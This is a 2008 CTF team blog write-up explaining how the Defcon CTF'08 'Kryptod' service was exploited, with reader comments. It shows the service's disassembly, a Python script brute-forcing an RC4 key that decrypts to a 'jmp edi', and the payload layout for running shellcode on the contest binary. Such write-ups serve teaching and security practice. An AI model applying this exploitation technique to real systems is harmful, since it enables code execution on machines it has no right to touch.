Sexy Pandalog

Osu, Tatakae, Sexy Pandas blog

 

September 25, 2008

Defcon CTF’08 Kryptod writeup

Filed under: CTF, Defcon, writeups — at 20:09

This year at the Defcon CTF there was only one kenshoto-level service (or at least only one that scored as a Kenshoto, you’ll know what we mean in further writeups). That service was Kryptod, so we will be trying to explain how we managed to exploit it.

As in the major part of the CTF bins the service starts setting up the socket, in this case listening at port 20020, and dropping the proper user privileges. Then it sets up signal handlers for SIGILL, SIGTRAP, SIGEMT, SIGBUS, SIGSEGV, SIGSYS and SIGALRM. The handler is always the same and it just uses the current socket to send back to the client an encoded value related to the signal received and then doing a clean exit (let’s say it’s a nice way to say: “Hey, I crashed!”).

The next step is just the client handler. Kryptod reads the file ‘/home/krypto/key’ (the token) and put its contents into a buffer, then it reads from the socket up to 63 chars (or a terminating \x0A if it comes before). The next part is a bit tricky, if the socket received 0 bytes it justs send the contents of the token/keyfile to the user. WTF??? Strike one! No luck this time, the token is an overwrite one so reading it gives you nothing :(

If the server receives between 1 and 63 bytes, then uses them as an RC4 key (via RC4_set_key) to decrypt an static 32-byte buffer filled with ‘A’s:

char buf[32];
 
memset(buf, 'A', 32);
key = RC4_set_key(user_data, strlen(user_data));
RC4(key, 32, buf, buf);
buf(); // call buf

And here comes the funny part. After setting an alarm for 2 seconds (as a protection against hangs) it just jumps into the decrypted buffer. That’s all, we just need to send kryptod a key to decrypt ‘A’x32 into executable code (shellcode to overwrite the token). The problem is that decrypting 64 bytes into a full shellcode will requiere a really heavy bruteforcing process, so we need to cut down as many bytes as we can. Looking at the assembly, we can find a really easy way to do it with only 2 bytes:

.text:08048D30                 push    ebx             ; user_data
.text:08048D31                 cld
.text:08048D32                 xor     eax, eax        ; 0-terminating user_data
.text:08048D34                 mov     edi, ebx
.text:08048D36                 mov     ecx, 0FFFFFFFFh
.text:08048D3B                 repne scasb
.text:08048D3D                 not     ecx
.text:08048D3F                 dec     ecx
.text:08048D40                 push    ecx             ; len
.text:08048D41                 lea     ebx, [ebp+rc4_key]
.text:08048D47                 push    ebx             ; key
.text:08048D48                 call    _RC4_set_key
.text:08048D4D                 push    esi             ; outdata
.text:08048D4E                 push    esi             ; indata
.text:08048D4F                 push    32              ; len
.text:08048D51                 push    ebx             ; key
.text:08048D52                 call    _RC4
.text:08048D57                 add     esp, 14h
.text:08048D5A                 push    2               ; secs
.text:08048D5C                 call    _alarm
.text:08048D61                 mov     [esp+468h+unkn_flag], '1111'
.text:08048D68                 call    esi

Okay, we need to send a payload in the way ‘OUR_RC4_KEY\x00SHELLCODE’. Doing that way and seeing how the strlen/repne scasb works, in 08048D68 the register edi points just to the beginning of our shellcode (after the \x00) so we only need to decrypt ‘AAAAA…’ into a “jmp edi” (FFE7) and kryptod is completely owned. The bruteforcing is a 5 seconds task and can be done with something like that:

from M2Crypto import RC4
import struct
 
fixed_buf = 'AA'
krypto = RC4.RC4()
 
for i in range(0xFFFF):
	krypto.set_key(struct.pack('!H', i))
	res = krypto.update(fixed_buf)
	if res[0] == '\xFF' and res[1] == '\xE7':
		print "Found key: ", hex(i)
		break

Using this simple bruteforcing you will find that 0×2211 decrypts ‘AA’ into ‘\xFF\xE7′, so the payload will be the ‘\x22\x11\x00′ followed by the shellcode. You don’t even need to put nops. There’s only one thing to care about. If you remember how many bytes the service reads from the socket, you’ll see that you need to use a 60 byte shellcode (63 bytes – 3 bytes for the key and the \x00), so using a stage2 shellcode is a good idea.

And that’s it!!! Following these steps you are breaking the Defcon CTF’08 Kenshoto-level service (one of the easiest ones we’ve seen).

See you in the next writeup ;)

8 Comments »

  1. WTF!!!

    Comment by omgwtfbbq — October 7, 2008 @ 10:51

  2. Excellent read, u guys make it look really easy!cheers!

    P.S: Maybe I’m mis-reading here but shouldn’t “…in 08048D68 the register edi points just to the beginning of our shellcode…” say “in 08048D68 the register _ESI_ points just to the beginning of our shellcode”?

    Comment by infi — October 15, 2008 @ 21:09

  3. infi: The text in the article is correct. In ESI what you will find is the mini-shellcode that begins with “jmp edi” and some other junk as a result of the decryption process. The real shellcode directly supplied by us as input for the program will be in EDI.

    Comment by dreyer — October 21, 2008 @ 15:23

  4. que carrera habes estudiado vosotros?

    Comment by wilfred — October 29, 2008 @ 01:30

  5. nice

    Comment by EDI — January 5, 2009 @ 21:23

  6. Nice work guys.

    I’m going to take a shot at some of the other binaries. If I make any progress I’ll do some writeups.

    Any of you considered doing a writeup for the Defcon quals Real World 200 binary?

    I look forward to reading any other writeups you guys may do :) .

    Have fun!

    KOrUPt.

    Comment by KOrUPt — January 17, 2009 @ 20:56

  7. i like turtles

    Comment by smakbitchup — January 17, 2009 @ 23:17

  8. A rather off-topic comment here.

    I did a writeup for the Catdoord binary, you can find it here:
    hxxp://korupt.co.uk/?p=127
    I’d like some opinions if you guys have the time :) .

    Thanks!

    KOrUPt.

    Comment by KOrUPt — January 19, 2009 @ 03:30

Comments RSS

Leave a comment

Valid XHTML 1.0 Valid CSS 2